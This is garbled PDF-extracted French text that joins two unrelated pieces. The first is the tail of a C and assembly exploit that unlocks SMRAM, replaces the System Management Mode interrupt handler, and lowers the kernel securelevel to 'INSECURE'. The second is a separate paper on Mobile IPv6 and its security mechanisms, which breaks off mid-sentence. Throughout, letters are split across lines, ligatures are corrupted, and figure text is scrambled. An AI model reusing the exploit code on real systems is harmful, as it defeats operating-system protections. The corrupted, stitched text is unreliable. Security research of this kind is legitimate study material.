har handler[℄, endhandler[℄;

asm (

".data\n"

".
ode16\n"

".globl handler, endhandler\n"

"\n"

"handler:\n"

/* Modifie la valeur sauvegardée */

/* pour EIP. EIP 
ontiendra */

/* l'adresse de la fon
tion test() */

/* DS = 0 */

" addr32 mov $test, %eax\n"

" mov %eax, %
s:0xfff0\n"

" mov $0x0, %ax\n"

" mov %ax, %ds\n"

" mov $0xffffffff, %eax\n"

/* se
urelevel = -1 */

" addr32 mov %eax," SECLVL_PHYS_ADDR "\n"
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" rsm\n" /* retour en mode protégé */

"endhandler:\n"

"\n"

".text\n"

".
ode32\n"

);

/*

* On souhaite rempla
er la routine de traitement de

* la SMI par "handler" (assembleur 16 bits) qui modifie

* le se
urelevel pendant que le pro
esseur se trouve

* en mode SMM. De plus, "handler" modifie la valeur

* sauvée dans la SMRAM pour EIP de telle sorte que

* le pro
esseur exé
ute la fon
tion test() lors de

* son retour en mode protégé.

*/

/*

* Cette fon
tion n'est jamais appelée expli
itement.

* Elle n'est exé
utée que lors d'un retour effe
tif

* vers le mode protégé depuis le mode SMM.

*/

void test(void)

{

printf("Changed se
ure level to INSECURE\n");

exit(EXIT_SUCCESS);

}

/*

* Fon
tion main()

*/

int main(void)

{

int fd;

unsigned 
har *vidmem;

/* On fixe IOPL à 3 afin d'obtenir un a

ès sur tous

/* les ports PIO */

i386_iopl(3);
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/* On rend la SMRAM a

essible depuis le mode protégé */

/* Possibilité d'interféren
e ave
 le serveur X */

outl(0x
f8, 0x8000009
);

outl(0x
f
, 0x00384a00);

/* On projette la routine de traitement de la SMI */

/* (0xa8000-Oxa8fff) dans notre espa
e virtuel */

fd = open(MEMDEVICE, O_RDWR);

vidmem = mmap(NULL, 4096, PROT_READ | PROT_WRITE,

MAP_SHARED, fd, 0xa8000);


lose(fd);

/* On rempla
e la routine de traitement de la SMI

/* par "handler" */

mem
py(vidmem, handler, endhandler-handler);

/* On supprime la proje
tion */

munmap(vidmem, 4096);

/* On rend de nouveau la SMRAM ina

essible depuis le

mode protégé */

outl(0x
f8, 0x8000009
);

outl(0x
f
, 0x00380a00);

/* On dé
len
he une SMI -- Ce
i doit exé
uter notre nouvelle

routine de traitement de la SMI */

outl(0xb2, 0x0000000f);

/* La suite ne devrait jamais être exé
utée... La routine */

/* de traitement de la SMI, "handler", retourne vers test() */

exit(EXIT_FAILURE);

}
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Résumé Mobile IPv6 fournit à l'utilisateur nomade un moyen de 
onserver son adresse IP,

quel que soit son réseau d'a

ueil. Il reste ainsi joignable de manière transparente, indépen-

damment de ses empla
ements.

Pour fournir 
ette fon
tionnalité tout en o�rant la sé
urité aux di�érentes entités impliquées,

le proto
ole intègre des mé
anismes de sé
urité initrinsèques tout en se reposant également

sur IPse
 pour la prote
tion de 
ertains �ux.

1 Introdu
tion

Internet est désormais omniprésent dans notre vie de tous les jours et nous permet de 
ommu-

niquer de façon plus e�
a
e que par le passé. Di�érentes te
hnologies d'a

ès telles qu'Ethernet,

802.11, et CDMA permettent aujourd'hui d'o�rir une 
onne
tivité à tout moment et en tout lieu.

De 
e fait, le mode d'utilisation d'Internet est en train d'évoluer 
onsidérablement, les utilisateurs

et leurs équipements devenant de plus en plus mobiles ; il est en e�et devenu 
ourant d'utiliser son

ordinateur portable au bureau, dans le train et à la maison au 
ours d'une même journée.

Généralement, le passage d'une méthode d'a

ès à une autre ou d'un site d'a

ès à un autre in-

duit un 
hangement des adresses IP utilisées et une perte quasi 
ertaine des éventuelles 
onne
tions

en 
ours, notamment TCP.

Le r�le du proto
ole Mobile IPv6 [RFC3775℄, MIPv6, est de rendre 
e 
hangement de site ou de

medium transparent aux appli
ations. En pratique, il permet à une ma
hine de rester joignable et

de 
ommuniquer ave
 la même adresse, quelle que soit son medium et sa position 
ourante.

Normalisé par l'IETF [RFC3775,RFC3776℄ et déjà implémenté pour les systèmes d'exploitation

majeurs (Windows XP, Linux, *BSD), di�érents opérateurs étudient d'ores et déjà la manière de

déployer 
ette te
hnologie dans le 
adre de leurs a
tivités 
ommer
iales. La généralisation rapide

d'IPv6 et l'extension naturelle au proto
ole que MIPv6 
onstitue pour le nomadisme vont en faire

une te
hnologie in
ontournable dans les années à venir.

Utilisant des extensions spé
i�ques à IPv6 et tirant partie d'un environnement plus favorable que

sous IPv4 (notamment pour IPse
), la sé
urité du proto
ole a été prise en 
ompte dès sa 
on
eption.

Après quelques rappels à l'attention des le
teurs non familiers ave
 IPv6 dans la se
tion 2, la se
-

tion 3 dé
rit le proto
ole Mobile IPv6 en détails. Les se
tions 4 et 5 sont respe
tivement 
onsa
rées

aux problématiques de sé
urité dans Mobile IPv6 et aux 
ontraintes soulevées par l'utilisation d'IP-

se
 pour sé
uriser 
e proto
ole. Finalement, la se
tion 6 fournit un état de l'art des implémentations

existantes sur les aspe
ts sé
urité.
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2 Rappels sur IPv6

Pour 
omprendre le fon
tionnement de Mobile IPv6, il est tout d'abord né
essaire de bien

appréhender le proto
ole IPv6. Cette se
tion fournit un résumé des éléments 
lés du proto
ole,


eux-
i étant prin
ipalement 
omparés à 
eux d'IPv4.

Le le
teur déjà familier ave
 IPv6 peut se reporter dire
tement à la sous-se
tion 2.2, qui détaille

les mé
anismes propres à IPv6 et né
essaires à Mobile IPv6.

2.1 Di�éren
es fondamentales ave
 IPv4

Les limitations d'IPv4 ont poussé le développement d'une nouvelle version du proto
ole IP. IPv6

est le résultat de dix années passées à prendre en 
ompte et à résoudre les problèmes liés à IPv4.

Les deux prin
ipaux problèmes d'IPv4 (sour
e de nombreux autres) sont :

1. son su

ès ;

2. ses di�
ultés de passage à l'é
helle.

En 1992, les re
her
hes 
on
ernant la future version du proto
ole ont 
ommen
é, donnant lieu

en 1995 à IPv6 [RFC1883℄ (puis [RFC2460℄ en 1998). Outre le passage à un adressage sur 128 bits,

le proto
ole apporte également un grand nombre d'améliorations obtenues de l'expérien
e a
quise

grâ
e à IPv4.

Généralités D'une part, l'un des buts de l'évolution du proto
ole a 
onsisté à diminuer le travail

des noeuds intermédiaires dans le réseau. Ainsi, la fragmentation est maintenant interdite au niveau

des routeurs ; elle est réalisée de manière optionnelle entre la sour
e et la destination

3

.

D'autre part, dans une volonté de remettre en pla
e des 
onnexions de bout-en-bout de nombreux

mé
anismes ont été dépla
és pour �nir par n'être traités que par les h�tes sour
e et destination

[SALTZER,RFC1958,RFC3439℄. Par exemple, le 
he
ksum sur le header IP a disparu.

Dans 
ette optique, l'élément majeur à prendre en 
ompte est la disparition de la NAT ; 
e

mé
anisme n'ayant plus de sens du fait de l'adressage global permis par la taille des adresses.

Désormais, 
haque noeud possède une adresse publique, appelée adresse uni
ast globale dans la

terminologie IPv6. Le re
ours à un élément externe servant de relai dans les 
onnexions de deux


lients n'est plus requis. Ainsi, un transfert de �
hier entre deux 
lients peut s'opérer de manière

dire
te sans passer par un tiers, 
omme une gateway MSN.

IPse
 est sans doute le premier béné�
iaire de 
et aplanissement du réseau, les 
lients jusqu'alors

ina

essibles du fait de la présen
e de gateway NAT redevenant à nouveau joignables. Son implé-

mentation est requise dans les piles IPv6 ; 
e qui en fait un mé
anisme de 
hoix pour la sé
urisation

de 
ertaines 
ommuni
ations.

Au niveau du lien, IPv6 apporte également de nombreuses nouveautés, notamment la disparition

d'ARP et son rempla
ement par un mé
anisme d'auto
on�guration basé sur ICMPv6 (Neighbor

Dis
overy, [RFC2461℄). Plus généralement, les utilisations d'ICMP ont été étendues, 
omparative-

ment à 
elles sous IPv4. Même si 
ertains points sont en
ore en phase d'étude, l'utilisation de types

ICMPv6 séparés laisse un 
hamp propi
e à une simpli�
ation du �ltrage et à une sé
urisation via

IPse
.

3

Un mé
anisme de dé
ouverte de la MTU de 
hemin (PMTU Dis
overy) utilisant ICMPv6, et une MTU

minimale des liens IPv6 étendue à 1280 o
tets permettent notamment 
ette avan
ée
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Format des paquets La �gure 1 présente le format d'un paquet IPv6. Les informations inutiles

aux paquets les plus 
ourants ont été supprimées. Un mé
anisme de 
haînage, utilisant le 
hamp

Next Header pour indiquer le header suivant, permet d'étendre les informations présentes dans un

paquet, par exemple 
elles 
on
ernant la fragmentation, ESP, ou AH

4

.

Extension Header Information

Flow LabelVersion Traffic Class

Payload Length Next Header Hop Limit

Source IPv6 Address

Destination IPv6 Address

40 octets

Next Header

Variable
Length

Payload

possibly N times

204 8

8

816

128

8

128

32 bits

Fig. 1. Header IPv6

Con
rètement, les di�éren
es dans le format des headers sont les suivantes :

� les 
hamps Identi�
ation, Flags et Frag O�set trouvent des équivalents dans un header op-

tionnel, le Fragmentation Header.

� le 
hamp de 
he
ksum IP disparait, les véri�
ations d'intégrité du header IP étant déportées

au niveau de TCP, UDP et ICMPv6 via le 
on
ept de pseudo-header.

� la diminution du nombre de 
hamps (passage de 14 à 8) permet de réduire le traitement au

niveau des routeurs.

� l'alignement sur 64 bits permet d'autres optimisations matérielles.

2.2 Pré-requis pour Mobile IPv6

Routing Header Type 2 Parmi les extensions dé�nies dans [RFC2460℄, le mé
anisme de Routing

Header est utilisé par un noeud sour
e pour lister un ou plusieurs noeuds intermédiaires par lesquels

le paquet doit transiter pour atteindre sa destination. Lorsqu'il est utilisé, le 
hamp Next Header

du header pré
édent prend la valeur 43.

Comme présenté sur la �gure 2, un 
hamp type permet de modi�er la sémantique de l'extension.

Dans son utilisation standard (Routing Header Type 0), il fournit l'équivalent du mé
anisme de

Sour
e Routing bien 
onnu sous IPv4.

4

En
apsulation Se
urity Payload et Authenti
ation Header
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Reserved

Address[1]

Next Header
8

32

128

32 bits

Hdr Ext Len = N
8

Routing Type = 0
8

Segments Left
8

Address[N/2]

128

8 x N bytes

Fig. 2. Format des Routing Header Type 0

Chaque intermédiaire spé
i�é dans la liste utilise les valeurs des 
hamps Segleft et Hdr Ext Len

pour obtenir l'adresse de l'intermédiaire suivant. Il permute alors 
ette adresse ave
 
elle présente

dans le 
hamp destination du paquet reçu. Après avoir dé
rémenté la valeur du 
hamp Seg Left, il

reémet le paquet. Le destinataire �nal est 
elui qui reçoit le paquet ave
 un 
hamp Seg Left à 0.

Mobile IPv6 dé�nit un type spé
i�que, le type 2, version restreinte du type 0, limitant la liste

des intermédiaires à une entrée. Les impa
ts de 
e nouveau type en terme de sé
urité sont détaillés

par la suite.

Destination Options Header Ce type de header est utilisé pour transporter une information

optionnelle devant être examinée uniquement par le noeud destination. Il est identi�é par une valeur

de 60 dans le 
hamp Next Header du header pré
édent.

Options

Next Header
8

32 bits

Hdr Ext Len
8

Fig. 3. Header IPv6
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Le 
hamp Hdr Ext Len indique la longueur de 
e header en unité de 8 o
tets (
elle-
i n'in
luant

pas les 8 premiers o
tets), le 
hamp Next Header indiquant le type du header suivant, et le 
hamp

Options 
onstituant un 
onteneur générique transportant un nombre variable d'options en
odées

sous forme de TLV

5

.

3 Mobile IPv6

Le proto
ole Mobile IPv6 a été dé�ni par le groupe de travail mip6 de l'IETF dans [RFC3775℄.

Il autorise un h�te à utiliser une adresse IPv6 �xe indépendamment de ses dépla
ements. Il permet

à la 
ou
he IP de masquer les e�ets de la mobilité aux proto
oles supérieurs tels que TCP ou

UDP et de fait aux appli
ations les utilisant. Dans la terminologie MIPv6, l'h�te mobile est appelé

Mobile Node (MN) et l'adresse unique Home Address (HoA). La �gure 4 présente les di�érentes

entités impliquées lorsque MIPv6 est utilisé par le MN pour 
ommuniquer. Le Home Agent (HA),

le Correspondent Node (CN), et le MN utilisent des pré�xes IPv6 di�érents.

Lorsqu'un noeud mobile se dépla
e, son sous-réseau d'atta
hement (réseau d'a

ueil) 
hange,

impliquant une modi�
ation de pré�xe et don
 plus généralement d'adresse IP. Ce
i pose prin
ipa-

lement deux types de problèmes :

1. les 
onnexions existantes (
onnexions TCP, SA IPse
, . . . ) entre le noeud mobile et ses 
lients

deviennent invalides ;

2. le noeud mobile n'est plus a

essible à son an
ienne adresse pour l'ouverture de nouvelles


onnexions.

Pour bien appréhender les problèmes asso
iés à la mobilité IP et la solution apportée par Mobile

IPv6, il est né
essaire de 
omprendre le double r�le que joue une adresse IP pour un noeud : elle

est à la fois identi�ant pour le noeud

6

(� Identi�er �) mais également adresse pour le routage des

messages jusqu'au noeud (� Lo
ator �). En raison de l'adressage hiérar
hique utilisé dans IPv6,


ette dernière peut être vue 
omme une information sur la position géographique du noeud.

3.1 Vue d'ensemble

Comme évoqué pré
édemment, Mobile IPv6 doit gérer dans le temps les asso
iations entre les

informations de position et d'identi�
ation pour le noeud.

A 
et e�et, le proto
ole dé�nit la notion de Home Address (HoA) : il s'agit d'une adresse du

réseau mère (
lassiquement, le réseau de son entreprise) du noeud mobile utilisée pour identi�er le

noeud. Cette adresse lui est asso
iée quel que soit son réseau d'atta
hement.

Il dé�nit également la notion de Care-of address (CoA), qui est quant à elle l'adresse que

possède le noeud dans son réseau d'a

ueil a
tuel. Elle ne joue au
un r�le en terme d'identi�
ation

mais sert uniquement au routage des paquets jusqu'au site d'a

ueil du noeud.

Il n'existe pas de moyen de distinguer a priori une CoA, d'une HoA, d'une autre adresse IPv6

uni
ast globale. De plus, MIPv6 est transparent pour les 
orrespondants du noeud mobile, au
une

tâ
he parti
ulière n'étant requise de leur 
�té

7

: il est ainsi impossible de distinguer un noeud mobile

d'un noeud �xe.

5

Type Length Value

6


'est par 
e biais que le noeud est généralement désigné, 
omme fournisseur de 
ertains servi
es

7

dans un mode non optimisé
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Sur son réseau mère (Home Network), le noeud mobile possède un agent, appelé Home Agent

(HA), dont le r�le est de tunneler les paquets pour le noeud mobile. Ce Home Agent inter
epte

les paquets des 
orrespondants à destination du noeud mobile (de sa HoA) et les tunnelle vers

l'empla
ement 
ourant du noeud (sa CoA), dans son réseau d'a

ueil. Le mé
anisme inverse inter-

vient lorsque le noeud mobile tunnelle un paquet à destination de son 
orrespondant, via son Home

Agent. Le r�le prin
ipal du Home Agent est de maintenir la 
orrespondan
e entre la la CoA et la

HoA du noeud mobile, i.e. entre l'adresse l'identi�ant et son empla
ement a
tuel. C'est 
e que dé
rit

la �gure 4 :

CN

MN 
à sa

CoA

HA 
à 

HoA

tunnel

Réseau

mère

Réseau du

correspondant

internet

Site

d'accueil

courant

Fig. 4. Mobile IPv6 sans optimisation

Malgré tout, 
e mode n'est pas optimal, les paquets à destination du noeud mobile transitant

systématiquement par le Home Agent sur le réseau mère. Mobile IPv6 dé�nit don
 un mode optimisé

appelé Route Optimization, évitant 
e routage triangulaire, 
f. �gure 5. Celui-
i ne fon
tionne

qu'ave
 les CN implémentant MIPv6. Cette optimisation de routage n'étant qu'optionnelle, il est

possible pour les deux parti
ipants de la refuser tout en 
ontinuant à 
ommuniquer au travers du

Home-Agent.
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CN

MN 
à sa

CoA

1. paquet initial

HA 
à 

HoA

tunnel

Réseau

mère

Réseau du

correspondant

internet

Site

d'accueil

courant

3
. 
p
a
q
u
e
ts

su
iv

a
n
ts

2. Binding
Update

1.   Paquet initial
2.   Binding Update (BU) : src = CoA, dst  = CN, HAO, RH type 2 (HoA)
3a. Trafic vers CN : src = CoA, dst = CN, HAO
3b. Trafic du CN : src = CN, dst = CoA, RH Type 2 (HoA)

Fig. 5. Mobile IPv6 ave
 optimisation du routage

3.2 Détails

Mode non optimisé

Déte
tion d'un nouveau point d'atta
hement Lorsqu'un noeud mobile 
hange de point

d'atta
hement, 
elui-
i reçoit un message Router Advertisement 
omportant un pré�xe IPv6 dif-

férent de 
elui de sa CoA. A la ré
eption de 
e message, le noeud 
on�gure une nouvelle CoA

appartenant au pré�xe annon
é par le routeur d'a

ès. A�n de diminuer la durée d'un handover

lors du passage d'un réseau à un autre, le noeud mobile peut soli
iter le Router Advertisement en

di�usant un message Router Soli
itation 
omme dans la �gure 6.

Pro
édure d'asso
iation Après 
on�guration d'une nouvelle CoA, le noeud mobile s'asso
ie

ave
 son Home Agent. Pour se faire, il lui envoie un message Binding Update, BU. Ce message

permet au HA de faire la relation entre la HoA et la CoA du noeud mobile. Celle-
i est sto
kée dans

le Binding Ca
he du HA. Il s'agit d'une table de routage supplémentaire permettant de délivrer

les paquets destinés à la HoA du noeud mobile à travers un tunnel IPv6-IPv6 établi entre le HA

et la CoA du MN ; la HoA étant présente dans l'option Destination Option, et la CoA a

essible

dire
tement dans le header IPv6 ainsi que dans l'option Alternate CoA des BU. A la re
eption du

BU, le HA répond

8

par un Binding A
knowledgement, BA et établit le tunnel, 
omme dans la �gure

6. La gestion des di�érentes erreurs est réalisée grâ
e aux messages Binding Error.

8

le MN peut expli
itement demander à ne pas re
evoir de BA.
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MN CN

Router Solicitation 0. Détection de 
    mouvement

1. Association

2. Envoi de données
ICMPv6 Echo Request

ICMPv6 Echo Reply

ICMPv6 Echo Request

ICMPv6 Echo Reply

Router Advertisement 

HA

Routeur d'accès

Binding Update

Binding Ack.

HoTI

HoTI

CoTI

HoT

HoT

CoT

Binding Update

Binding Ack.

ICMPv6 Echo Request

ICMPv6 Echo Reply

tunnel IPv6-IPv6

3. Return Routability

4. Association

5. Envoi de données

HA

Fig. 6. E
hanges de paquets dans Mobile IPv6
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Mode optimisé

Le but de l'optimisation de routage est de permettre une 
onne
tion dire
te entre le MN et le

CN ne passant pas par le HA. Si la relation entre le MN et le HA dans un mode non optimisé a le

mérite d'être simple, prin
ipalement du fait de leur 
onnaissan
e préalable

9

, 
elle liant un MN et

un CN 
ommuniquant de manière dire
te est moins évidente.

Dans un mode optimisé, le CN se voit attribué une grande partie du r�le du HA, puisqu'il devient


ons
ient de la CoA de son interlo
uteur. Malgré tout, 
ontrairement au HA, au
une information

préalable permettant l'authenti�
ation du MN ne lui est disponible, a priori.

MN

CN

HA

3. H
oT

1. H
oT

I

3. HoT

1. HoTI

tunne
l

4
. 
C
o
T

2
. 
C
o
T
I

1. HoTI tunnelé via le HA

2. CoTI émis directement au CN

3. HoT tunnelé via le HA

4. CoT émis directement au MN

Fig. 7. Pro
édure de � Return Routability �

Il revient don
 au MN de prouver à ses CN qu'il est bien possesseur des adresses auxquelles il

prétend être joignable : sa HoA et sa CoA. Cette preuve est fournie si le MN est 
apable d'émettre

et de re
evoir du tra�
 depuis 
es deux adresses : 
'est le r�le de la � Return Routability Pro
e-

dure �

10

. Dans les faits, la pro
édure est légèrement 
ompliquée pour lui 
onserver son 
ara
tère

sans état du point de vue du CN. Elle est basée sur l'é
hange de deux 
ookies, Care-of Init Cookie

et Home Init Cookie, émis par le MN à destination du CN. Le premier est envoyé de manière dire
te

ave
 la CoA du MN, et le se
ond de manière indire
te ave
 la HoA du MN, en passant par le tunnel

vers le HA. La ré
eption de 
es deux élements par le CN lui garantissent que le MN est bien 
apable

9

se
ret partagé, voire 
erti�
ats pour la prote
tion par IPse
 de leurs 
ommuni
ations.

10

[RFC4225℄ dé
rit les problématiques et la se
tion 15 de [RFC3775℄ les détails de la solution 
hoisie.
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de dialoguer ave
 sa CoA et sa HoA.

Ces deux 
ookies sont respe
tivement retournés dans les messages CoT et HoT émis par le CN

au MN en réponse aux messages CoTI et HoTI reçus. Ils apportent alors au MN une garantie

relative que les réponses proviennent d'une personne 
apable d'émettre ave
 l'adresse du CN et de

re
evoir à 
ette adresse des messages provenant du réseau d'a

ueil et du réseau mère du MN. Ils

préviennent don
 qu'un noeud présent sur le réseau d'a

ueil ou sur le 
hemin entre le MN et le

CN puisse forger les réponses. Un tel attaquant doit également être 
apable d'obtenir le tra�
 émis

du réseau mère vers le CN.

Cependant, 
ette utilisation de 
ookies n'apporte au
une solution fa
e à un attaquant présent sur

le réseau du CN 
apable d'a

éder au tra�
 de 
elui-
i et d'en inje
ter en son nom. Ainsi, le niveau

de sé
urité est 
omparable à 
elui d'une 
ommuni
ation 
lassique sur Internet entre deux 
lients

quel
onques.

De plus, deux types de Keygen Token (Care-of Keygen Token et Home Keygen Token), sont émis

en réponse par le CN, respe
tivement à destination de la HoA du MN et de sa CoA. L'utilisation

future de 
es deux tokens pour authenti�
ation dans les messages de signalisation, i.e. Binding

Update émis à destination du CN, permet de limiter la provenan
e aux personnes 
apables de

re
evoir du tra�
 à 
es adresses.

La �gure suivante synthétise les éléments é
hangés durant la Return Routability Pro
edure :

3. HoTHA

MN

CN

3. HoT
1. HoTI

1. HoTI

4.
 C

oT

2.
 C

oT
I

1. HoTI tunnelé via le HA

2. CoTI émis directement au CN

3. HoT tunnelé via le HA

4. CoT émis directement au MN

incluant H
om

e Init C
ookie

H
om

e Init C
ookie

H
om

e Keygen Token

incluant      H
om

e N
once Index

in
cl
ua

nt
   

   
C
ar

e-
of

 In
it 
C
oo

ki
e

C
ar

e-
of

 K
ey

ge
n 

To
ke

n

C
ar

e-
of

 N
on

ce
 In

de
x

in
cl
ua

nt
 C

ar
e-

of
 In

it 
C
oo

ki
e

tunne
l

Fig.8. E
hange des éléments durant la � Return Routability Pro
edure �
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3.3 La stru
ture des paquets

Le tra�
 de signalisation de Mobile IPv6 se présente sous la forme d'un nouveau proto
ole iden-

ti�é par le numéro 135 dans le 
hamp Next Header de l'entête pré
édent. La �gure 9 présente le

format générique de 
e Mobility Header. Le 
hamp Mobility Header Type dé�nit le type du message

réellement transporté 
omme indiqué sur la �gure 10.

De plus, 
es di�érents messages peuvent 
omporter des options parti
ulières au format. Ce
i permet

par exemple d'identi�er la Care of Address du Mobile Node ou bien en
ore sa Home Address.

Les pseudo-paquets suivants représentent l'envoi de Binding Update et la ré
eption du Binding

A
knowledgement du Mobile Node vers le Home Agent et le Correspondent Node. Seul les 
hamps

signi�
atifs sont représentés.

1. Mode non optimisé

� Binding Update du MN au HA

IPv6(dst=HA, sr
=CoA)

DestOpt(value=HoA)

MH(mhtype=5)

BindingUpdate()

AlternateCareofAddress(value=CoA)

� Binding A
knowledgement du MN au HA

IPv6(dst=CoA, sr
=HA)

RoutingHeader(type=2, value=HoA)

MH(mhtype=6)

BindingA
k()

2. Mode optimisé : Return Routability Pro
edure

� HoTI du MN au CN (via le HA)

IPv6(dst=CN, sr
=HoA)/MH(type=1)/HoTI()

� HoT du CN au MN (via le HA)
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IPv6(dst=HoA, sr
=CN)/MH(type=3)/HoT()

� CoTI du MN au CN

IPv6(dst=CN, sr
=CoA)/MH(type=2)/CoTI()

� CoT du CN au MN

IPv6(dst=CoA, sr
=CN)/MH(type=4)/CoT()

� Binding Update du MN au CN

IPv6(dst=CN, sr
=CoA)

DestOpt(value=HoA)

MH(mhtype=5)

BindingUpdate()

� Binding A
knowledgement du CN au HA

IPv6(dst=CoA, sr
=CN)

RoutingHeader(type=2, value=HoA)

MH(mhtype=6)

BindingA
k()

Message Data

Checksum
8

32 bits

Header Length
8

Next Header
8

Mobility Header Type
8

Reserved
8

Fig. 9. Format du Mobility Header (MH)
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Mobility Header Type Mobility Message

1 Home Test Init

2 Care-Of Init

3 Home Test

4 Care-of Test

5 Binding Update

6 Binding A
knowledgement

7 Binding Error

Fig.10. Mobility message et Mobility Header Type

Il est important de remarquer les deux points suivants :

� les paquets émis par le MN utilisent une option spé
i�que (HAO : Home Address Option,

�gure 11) du header Destination Option, permettant d'informer le ré
epteur de la HoA du

noeud mobile.

Option Type (= 201)
8

32 bits

Option Length
8

Home Address

128

Fig. 11. Home Address Option (HAO)

� les paquets à destination du MN 
ontiennent un Routing Header Type 2, transportant la HoA

du noeud mobile. Il indique au MN que bien que le paquet doive être routé jusqu'à la CoA,

il a réellement pour destination la HoA du noeud.

4 La sé
urité dans MIPv6

Mobile IPv6 a la parti
ularité de mettre en ÷uvre des 
ommuni
ations entre trois parti
ipants :

un CN, un MN et son HA. La sé
urité de 
ette relation triangulaire entre les a
teurs doit être

étudiée en prenant en 
ompte di�érents points de vue. Tout d'abord, 
ha
un des parti
ipants doit

être protégé d'éventuelles attaques pouvant survenir du fait de l'utilisation de Mobile IPv6. En

pratique, 
ha
un doit avoir la garantie que ses interlo
uteurs sont bien 
eux qu'ils prétendent être.

De plus, les réseaux dans lesquels se situent les trois parti
ipants ne doivent pas être impa
tés par

la présen
e de 
eux-
i.
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En�n, l'utilisation des Routing Header et de l'option Home Address permettant de modi�er les

adresses destination et sour
e des MN et CN

11

ne doivent pas fournir de nouvelles vulnérabilités.

4.1 Prise en 
ompte des impa
ts sur Internet

L'une des re
ommendations fournie par l'IESG au Working Group Mobile IP était la suivante :

� Do no harm to the existing Internet �.

La majorité des problématiques de sé
urité soulevées par le proto
ole vis-à-vis d'Internet 
on
erne

la mise en ÷uvre de te
hnologies permettant de modi�er ses adresses sour
es et destination : il s'agit

des mé
anismes de Routing Header Type 2 et de Destination Header - Home Address Option.

La problématique a été prise en 
ompte dès les débuts du Working Group sur le sujet. Elle a

notamment été formalisée dans [RHHASe
℄

12

.

� Routing Header Type 2 : Le mé
anisme de Routing Header intégré à IPv6 fournit dans

sa version de base (Type 0) une fon
tionnalité 
omparable aux options de sour
e-routing

disponible sous IPv4

13

. Sous IPv4, les impli
ations de sé
urité asso
iées sont telles que la

majorité des routeurs a
tuels désa
tivent par défaut le support de 
ette option.

La prise en 
ompte de 
ette problématique dans le 
adre d'IPv6 a permis la dé�nition d'un

Routing Header d'un type spé
i�que (Type 2), utilisé uniquement dans le 
adre du proto
ole

et transportant une seule adresse (en pratique, la HoA du MN). Son interprétation est don


limitée aux seuls noeuds mobiles.

Les 
onséquen
es liées à l'utilisation d'un nouveau type sont également importantes au niveau

�ltrage. Il devient possible d'adopter des politiques di�érentes pour les paquets in
luant un

Routing Header Type 0

14

et 
eux in
luant un Routing Header Type 2

15

.

� Destination Options Header - Home Address Option : 
ette option du Destination

Header, potentiellement impa
tante au niveau sé
urité, est dé�nie spé
i�quement par Mobile

IPv6. Elle n'a don
 pas d'interprétation hors du 
adre du proto
ole.

En pratique, même si un paquet in
luant 
ette option est reçue par une ma
hine (du fait d'une

absen
e de �ltrage), 
elle-
i ne prendra pas en 
ompte l'information transportée. En d'autres

termes, elle ne réalisera pas la modi�
ation d'adresse sour
e du paquet ave
 l'information

présente dans l'option.

De plus, l'utilisation d'IPse
 sur le tra�
 de signalisation et plus parti
ulièrement sur les mes-

sages in
luant 
ette option (Binding Update et Mobile Pre�x Soli
itation), limite la prise en


harge de 
elle-
i aux seuls HA et CN implémentant MIPv6.

Un autre point important dans le développement du proto
ole a également 
on
erné les problé-

matiques de DoS, que 
e soit sur les parti
ipants ou sur l'infrastru
ture.

11

et don
 de passer outre les mé
anismes d'Ingress �ltering [RFC2827,RFC3704℄ éventuellement déployés

sur Internet

12

Le do
ument dé
rit notamment les problématiques d'ingress/egress �ltering liées à l'utilisation potentielle

des Routing Headers Type 0, avant la dé�nition des Routing Header Type 2 proposée dans le do
ument.

13

Loose and Stri
t Sour
e Routing options

14

typiquement, les rejeter

15

les a

epter ou non en fon
tion de l'utilisation de MIPv6 sur le réseau
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Comme dans le 
as de TCP et d'autres proto
oles de 
onnexion, une répartition mesurée des

messages et réponses asso
iées a du être envisagée. Par exemple, [TA℄ dé
rit dans une optique histo-

rique les di�érentes étapes de sé
urisation de la pro
édure de Binding Update (Return Routability

Pro
edure). La 
omplexité apparente de 
ette partie du proto
ole (Non
es, Cookies, Tokens), l'ordre

des messages et leur nombre sont le résultat de longues ré�exions visant à fournir une sé
urité maxi-

male pour le MN, le CN, en terme d'authenti�
ation, de prévention des DoS et de gestion des états

dans les noeuds. C'est également le 
as pour l'infrastru
ture 
on
ernant les Dénis de Servi
e.

Sé
urité dans les réseaux des parti
ipants

� Dans le réseau mère : Si tout a été mis en ÷uvre, suite aux re
ommandations de l'IESG,

pour protéger l'infrastru
ture Internet existante, le déploiement éventuel du proto
ole à grande

é
helle est également lié aux impa
ts potentiels dans les réseaux des parti
ipants.

En théorie, le HA est une 
ible de 
hoix pour un attaquant. Il o�re en e�et un frontal sur

Internet puisqu'il doit être a

essible de tout point d'atta
hement de ses 
lients (il n'a pas de


onnaissan
e préalable des CoA utilisés par ses MN), mais également un point d'atta
hement

sur un réseau interne.

Dans les faits, la meilleure manière de 
onsidérer 
e routeur est de le voir 
omme un 
on
en-

trateur d'a

ès VPN. En e�et, 
omme évoqué pré
édemment, la mise en ÷uvre d'un HA sans

prote
tion du tra�


16

ne peut être envisagée de manière sérieuse.

Outre les extensions parti
ulières liées à la mobilité, la problématique reste 
elle de la gestion

de 
lients mobiles de type roadwarrior. Au �nal, en 
onsidérant les r�les de Mobile IPv6 et

d'IPse
 
omplémentaires, le r�le réel de MIPv6 dans le 
adre de 
ette 
oopération 
onsiste

simplement à fournir le moyen de séparer les notions de Lo
ator et d'Identi�er evoquées

pré
édemment.

Les idées mises en ÷uvre et le travail réalisé au niveau de la di�éren
iation des �ux dans le

proto
ole (Mobility Header, séparation des modes tunnel et transport, dé�nition de Routing

Header d'un type spé
i�que) fournissent les moyens de réaliser un �ltrage et une prote
tion

pré
is.

Dans 
ette optique, plusieurs types de �ux sont à prendre en 
ompte :

1. Les �ux protégés via IPse
 provenant des MN (tra�
 IPse
 protégeant la signalisation et

les données des MN, montées de sessions IKE)

2. Les �ux entrants provenant des CN souhaitant 
onta
ter des MN asso
iés au HA.

3. Les �ux sortants provenant des MN et à destination de l'intérieur du périmètre de l'en-

treprise ou du domaine 
onsidéré.

4. Ces mêmes �ux mais à destination de 
lients externes.

En pratique, la politique de sé
urité du réseau mère impa
te de manière dire
te le type de


onnexions que le noeud peut initier/re
evoir. En entreprise, dans un premier temps, il est

vraisemblable que le HA ne pourra pas être 
onta
té par des CN externes, limitant ainsi

l'intérêt de MIPv6 à la mise en pla
e de 
onne
tions ave
 des éléments du réseau interne

(
lients, serveurs, voire autres MN de l'entreprise). Hors 
ontexte entreprise, il est possible

16

La sé
urisation du tra�
 par IPse
 
on
erne à la fois la signalisation, mais également les données passant

dans le tunnel entre le MN et le HA, même si les Se
urity Poli
y pour 
es types de tra�
s peuvent être

di�érentes.



244

que le dépla
ement progressif des éléments de sé
